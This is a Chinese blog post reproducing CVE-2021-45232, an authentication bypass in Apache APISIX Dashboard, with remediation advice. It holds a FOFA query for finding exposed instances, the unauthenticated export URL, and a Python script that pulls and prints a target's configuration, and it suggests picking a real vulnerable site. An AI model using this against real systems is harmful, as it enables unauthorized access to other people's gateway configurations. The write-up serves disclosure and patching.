Apache APISIX Dashboard 身份验证绕过漏洞(CVE-2021-45232)

Apache APISIX Dashboard 身份验证绕过漏洞(CVE-2021-45232)

漏洞描述

Apache APISIX 是一个动态、实时、高性能的 API 网关, 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。Apache APISIX Dashboard 使用户可通过前端界面操作 Apache APISIX。

CVE编号

CVE-2021-45232

FOFA语句

title="Apache APISIX Dashboard"

影响范围

Apache APISIX Dashboard < 2.10.1

根据目前FOFA系统最新数据(一年内数据),显示全球范围内(title=“Apache APISIX Dashboard”)共有 1,110 个相关服务对外开放。中国使用数量最多,共有 966 个;美国第二,共有 55 个;中国香港第三,共有 21 个;日本第四,共有 19 个;新加坡第五,共有 18 个。

漏洞复现

使用fofa进行资产收集
Apache APISIX Dashboard 身份验证绕过漏洞(CVE-2021-45232)_第1张图片
寻找一个有漏洞的网站

漏洞POC

ip+port/apisix/admin/migrate/export

Apache APISIX Dashboard 身份验证绕过漏洞(CVE-2021-45232)_第2张图片
Apache APISIX Dashboard 身份验证绕过漏洞(CVE-2021-45232)_第3张图片

漏洞检测脚本

import urllib.request
import ssl

url=input("输入测试地址\n>>>") + "/apisix/admin/migrate/export"
context = ssl._create_unverified_context()
header = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
            "X-Forwarded-For": "127.0.0.1"
        }
try:
    request = urllib.request.Request(url=url, headers=header)
    response = urllib.request.urlopen(request, context=context, timeout=10)
    html = str(response.read())
    if "Routes" in html or "hosts" in html and response.status == 200:
        print(html)
        print("[" + url + "]" + "[===存在Apache APISIX Dashboard身份认证绕过漏洞===]")
    else:
        print("[" + url + "]" + "[不存在Apache APISIX Dashboard身份认证绕过漏洞]")
except Exception as e:
    print("[" + url + "]" + "[不存在漏洞]", format(e))

Apache APISIX Dashboard 身份验证绕过漏洞(CVE-2021-45232)_第4张图片

修复建议

1、升级至最新安全版本 Apache APISIX Dashboard 2.10.1:https://github.com/apache/apisix-dashboard/releases/tag/v2.10.1
2、修改默认用户名和密码,并配置访问 Apache APISIX Dashboard的白名单。

你可能感兴趣的:(漏洞复现,未授权访问,Apache)